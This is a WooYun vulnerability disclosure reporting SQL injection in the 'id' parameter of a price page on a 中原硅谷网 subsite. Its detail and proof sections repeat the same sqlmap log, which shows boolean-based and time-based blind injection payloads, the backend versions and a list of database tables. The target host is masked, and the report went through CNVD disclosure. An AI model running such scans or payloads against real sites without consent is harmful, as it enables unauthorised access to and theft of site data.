当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0156798

漏洞标题:中原硅谷网某分站存在sql注入

相关厂商:中原硅谷网

漏洞作者: 小殊

提交时间:2015-11-30 16:18

修复时间:2016-01-18 09:20

公开时间:2016-01-18 09:20

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-30: 细节已通知厂商并且等待厂商处理中
2015-12-04: 厂商已经确认,细节仅向厂商公开
2015-12-14: 细节向核心白帽子及相关领域专家公开
2015-12-24: 细节向普通白帽子公开
2016-01-03: 细节向实习白帽子公开
2016-01-18: 细节向公众公开

简要描述:

做好安全啦

详细说明:

root@attack:~# sqlmap -u "http://**.**.**.**/price_nav.php?id=44"
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150918}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 13:20:38
[13:20:38] [INFO] testing connection to the target URL
[13:20:39] [INFO] testing if the target URL is stable
[13:20:40] [INFO] target URL is stable
[13:20:40] [INFO] testing if GET parameter 'id' is dynamic
[13:20:40] [INFO] confirming that GET parameter 'id' is dynamic
[13:20:40] [INFO] GET parameter 'id' is dynamic
[13:20:41] [ERROR] possible integer casting detected (e.g. "$id=intval($_REQUEST['id'])") at the back-end web application
do you want to skip those kind of cases (and save scanning time)? [y/N]
[13:20:42] [INFO] testing for SQL injection on GET parameter 'id'
[13:20:42] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:21:01] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[13:21:01] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[13:21:01] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[13:21:03] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[13:21:03] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[13:21:03] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[13:21:05] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[13:21:05] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[13:21:05] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[13:21:10] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[13:21:14] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)'
[13:21:14] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'
[13:21:14] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)'
[13:21:15] [INFO] testing 'Firebird AND error-based - WHERE or HAVING clause'
[13:21:15] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[13:21:15] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[13:21:15] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[13:21:15] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[13:21:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[13:21:15] [INFO] testing 'PostgreSQL error-based - Parameter replace'
[13:21:15] [INFO] testing 'PostgreSQL error-based - Parameter replace (GENERATE_SERIES)'
[13:21:15] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace'
[13:21:15] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace (integer column)'
[13:21:15] [INFO] testing 'Oracle error-based - Parameter replace'
[13:21:15] [INFO] testing 'Firebird error-based - Parameter replace'
[13:21:15] [INFO] testing 'MySQL inline queries'
[13:21:16] [INFO] testing 'PostgreSQL inline queries'
[13:21:16] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[13:21:16] [INFO] testing 'Oracle inline queries'
[13:21:16] [INFO] testing 'SQLite inline queries'
[13:21:17] [INFO] testing 'Firebird inline queries'
[13:21:18] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[13:21:19] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[13:21:19] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT)'
[13:21:19] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[13:21:24] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[13:21:24] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[13:21:25] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[13:21:25] [INFO] testing 'PostgreSQL < 8.2 stacked queries (Glibc - comment)'
[13:21:25] [INFO] testing 'PostgreSQL < 8.2 stacked queries (Glibc)'
[13:21:25] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[13:21:26] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[13:21:26] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[13:21:27] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE)'
[13:21:27] [INFO] testing 'Oracle stacked queries (DBMS_LOCK.SLEEP - comment)'
[13:21:27] [INFO] testing 'Oracle stacked queries (DBMS_LOCK.SLEEP)'
[13:21:27] [INFO] testing 'Oracle stacked queries (USER_LOCK.SLEEP - comment)'
[13:21:28] [INFO] testing 'Oracle stacked queries (USER_LOCK.SLEEP)'
[13:21:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[13:21:33] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT - comment)'
[13:21:39] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[13:21:44] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (comment)'
[13:21:49] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (SELECT)'
[13:21:54] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (SELECT - comment)'
[13:22:00] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind'
[13:23:01] [INFO] GET parameter 'id' seems to be 'MySQL >= 5.0.12 RLIKE time-based blind' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided risk (1) value? [Y/n]
[13:24:35] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[13:24:35] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[13:24:35] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[13:24:37] [INFO] target URL appears to have 5 columns in query
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]
[13:24:49] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[13:24:49] [INFO] testing 'Generic UNION query (67) - 22 to 40 columns'
[13:24:55] [INFO] testing 'Generic UNION query (67) - 42 to 60 columns'
[13:25:06] [INFO] testing 'Generic UNION query (67) - 62 to 80 columns'
[13:25:11] [INFO] testing 'Generic UNION query (67) - 82 to 100 columns'
[13:25:22] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 205 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=44' AND 3631=3631 AND 'XbCo'='XbCo
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 RLIKE time-based blind
Payload: id=44' RLIKE SLEEP(5) AND 'fykP'='fykP
---
[13:25:49] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.3, Apache
back-end DBMS: MySQL 5.0.12
[13:25:49] [INFO] fetched data logged to text files under '/root/.sqlmap/output/**.**.**.**'
------------------------------------------------------------------
current database: 'product'
当前库
------------------------------------
[13:28:53] [INFO] retrieved: 40
[13:28:57] [INFO] retrieved: admin
[13:29:15] [INFO] retrieved: admincopy
[13:29:31] [INFO] retrieved: bbs_image
[13:30:06] [INFO] retrieved: btob
[13:30:17] [INFO] retrieved: class
[13:30:38] [INFO] retrieved: compicture
[13:31:08] [INFO] retrieved: diy
[13:31:19] [INFO] retrieved: guest
[13:31:39] [INFO] retrieved: guestbook
[13:32:07] [INFO] retrieved: huodong
[13:32:31] [INFO] retrieved: link
[13:32:45] [INFO] retrieved: lock_ip
[13:33:22] [INFO] retrieved: mail
[13:33:44] [INFO] retrieved: mailgroup
[13:34:06] [INFO] retrieved: mclass
[13:34:20] [INFO] retrieved: myidear
[13:34:54] [INFO] retrieved: navigation
[13:35:31] [INFO] retrieved: nclas
[13:36:15] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
s
[13:36:21] [INFO] retrieved: orderman
[13:36:52] [INFO] retrieved: orders
[13:37:01] [INFO] retrieved: pclass
[13:37:32] [INFO] retrieved: ping
[13:37:49] [INFO] retrieved: price
[13:38:13] [INFO] retrieved: price1
[13:38:27] [INFO] retrieved: productads
[13:38:57] [INFO] retrieved: productadstype
[13:39:25] [INFO] retrieved: productcity
[13:39:42] [INFO] retrieved: productclass
[13:40:06] [INFO] retrieved: product
40个表
------------------------------------------------------
我就不继续跑了 ,应该能跑出商家信息这些

漏洞证明:

root@attack:~# sqlmap -u "http://**.**.**.**/price_nav.php?id=44"
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150918}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 13:20:38
[13:20:38] [INFO] testing connection to the target URL
[13:20:39] [INFO] testing if the target URL is stable
[13:20:40] [INFO] target URL is stable
[13:20:40] [INFO] testing if GET parameter 'id' is dynamic
[13:20:40] [INFO] confirming that GET parameter 'id' is dynamic
[13:20:40] [INFO] GET parameter 'id' is dynamic
[13:20:41] [ERROR] possible integer casting detected (e.g. "$id=intval($_REQUEST['id'])") at the back-end web application
do you want to skip those kind of cases (and save scanning time)? [y/N]
[13:20:42] [INFO] testing for SQL injection on GET parameter 'id'
[13:20:42] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:21:01] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[13:21:01] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[13:21:01] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[13:21:03] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[13:21:03] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[13:21:03] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[13:21:05] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[13:21:05] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[13:21:05] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[13:21:10] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[13:21:14] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)'
[13:21:14] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'
[13:21:14] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)'
[13:21:15] [INFO] testing 'Firebird AND error-based - WHERE or HAVING clause'
[13:21:15] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[13:21:15] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[13:21:15] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[13:21:15] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[13:21:15] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[13:21:15] [INFO] testing 'PostgreSQL error-based - Parameter replace'
[13:21:15] [INFO] testing 'PostgreSQL error-based - Parameter replace (GENERATE_SERIES)'
[13:21:15] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace'
[13:21:15] [INFO] testing 'Microsoft SQL Server/Sybase error-based - Parameter replace (integer column)'
[13:21:15] [INFO] testing 'Oracle error-based - Parameter replace'
[13:21:15] [INFO] testing 'Firebird error-based - Parameter replace'
[13:21:15] [INFO] testing 'MySQL inline queries'
[13:21:16] [INFO] testing 'PostgreSQL inline queries'
[13:21:16] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[13:21:16] [INFO] testing 'Oracle inline queries'
[13:21:16] [INFO] testing 'SQLite inline queries'
[13:21:17] [INFO] testing 'Firebird inline queries'
[13:21:18] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[13:21:19] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[13:21:19] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT)'
[13:21:19] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[13:21:24] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[13:21:24] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[13:21:25] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[13:21:25] [INFO] testing 'PostgreSQL < 8.2 stacked queries (Glibc - comment)'
[13:21:25] [INFO] testing 'PostgreSQL < 8.2 stacked queries (Glibc)'
[13:21:25] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[13:21:26] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[13:21:26] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[13:21:27] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE)'
[13:21:27] [INFO] testing 'Oracle stacked queries (DBMS_LOCK.SLEEP - comment)'
[13:21:27] [INFO] testing 'Oracle stacked queries (DBMS_LOCK.SLEEP)'
[13:21:27] [INFO] testing 'Oracle stacked queries (USER_LOCK.SLEEP - comment)'
[13:21:28] [INFO] testing 'Oracle stacked queries (USER_LOCK.SLEEP)'
[13:21:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[13:21:33] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT - comment)'
[13:21:39] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[13:21:44] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (comment)'
[13:21:49] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (SELECT)'
[13:21:54] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (SELECT - comment)'
[13:22:00] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind'
[13:23:01] [INFO] GET parameter 'id' seems to be 'MySQL >= 5.0.12 RLIKE time-based blind' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided risk (1) value? [Y/n]
[13:24:35] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[13:24:35] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[13:24:35] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[13:24:37] [INFO] target URL appears to have 5 columns in query
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]
[13:24:49] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[13:24:49] [INFO] testing 'Generic UNION query (67) - 22 to 40 columns'
[13:24:55] [INFO] testing 'Generic UNION query (67) - 42 to 60 columns'
[13:25:06] [INFO] testing 'Generic UNION query (67) - 62 to 80 columns'
[13:25:11] [INFO] testing 'Generic UNION query (67) - 82 to 100 columns'
[13:25:22] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 205 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=44' AND 3631=3631 AND 'XbCo'='XbCo
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 RLIKE time-based blind
Payload: id=44' RLIKE SLEEP(5) AND 'fykP'='fykP
---
[13:25:49] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.3, Apache
back-end DBMS: MySQL 5.0.12
[13:25:49] [INFO] fetched data logged to text files under '/root/.sqlmap/output/**.**.**.**'
------------------------------------------------------------------
current database: 'product'
当前库
------------------------------------
[13:28:53] [INFO] retrieved: 40
[13:28:57] [INFO] retrieved: admin
[13:29:15] [INFO] retrieved: admincopy
[13:29:31] [INFO] retrieved: bbs_image
[13:30:06] [INFO] retrieved: btob
[13:30:17] [INFO] retrieved: class
[13:30:38] [INFO] retrieved: compicture
[13:31:08] [INFO] retrieved: diy
[13:31:19] [INFO] retrieved: guest
[13:31:39] [INFO] retrieved: guestbook
[13:32:07] [INFO] retrieved: huodong
[13:32:31] [INFO] retrieved: link
[13:32:45] [INFO] retrieved: lock_ip
[13:33:22] [INFO] retrieved: mail
[13:33:44] [INFO] retrieved: mailgroup
[13:34:06] [INFO] retrieved: mclass
[13:34:20] [INFO] retrieved: myidear
[13:34:54] [INFO] retrieved: navigation
[13:35:31] [INFO] retrieved: nclas
[13:36:15] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
s
[13:36:21] [INFO] retrieved: orderman
[13:36:52] [INFO] retrieved: orders
[13:37:01] [INFO] retrieved: pclass
[13:37:32] [INFO] retrieved: ping
[13:37:49] [INFO] retrieved: price
[13:38:13] [INFO] retrieved: price1
[13:38:27] [INFO] retrieved: productads
[13:38:57] [INFO] retrieved: productadstype
[13:39:25] [INFO] retrieved: productcity
[13:39:42] [INFO] retrieved: productclass
[13:40:06] [INFO] retrieved: product
40个表
------------------------------------------------------

修复方案:

你们更专业

版权声明:转载请注明来源 小殊@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-12-04 09:18

厂商回复:

CNVD确认所述漏洞情况,暂未建立与网站管理单位的直接处置渠道,待认领。

最新状态:

暂无